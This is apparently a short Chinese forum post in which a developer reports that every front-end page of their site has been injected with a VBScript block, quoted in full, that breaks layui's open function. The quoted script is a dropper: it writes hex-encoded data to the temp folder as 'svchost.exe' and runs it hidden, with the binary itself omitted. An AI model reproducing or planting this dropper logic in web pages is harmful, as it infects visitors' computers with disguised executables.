前端页面中毒
</html><SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "二进制流 (省略)"
Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT>
前端每个页面都被注入了 这段代码 刚好这段js代码 影响了 layui.open组建方法的打开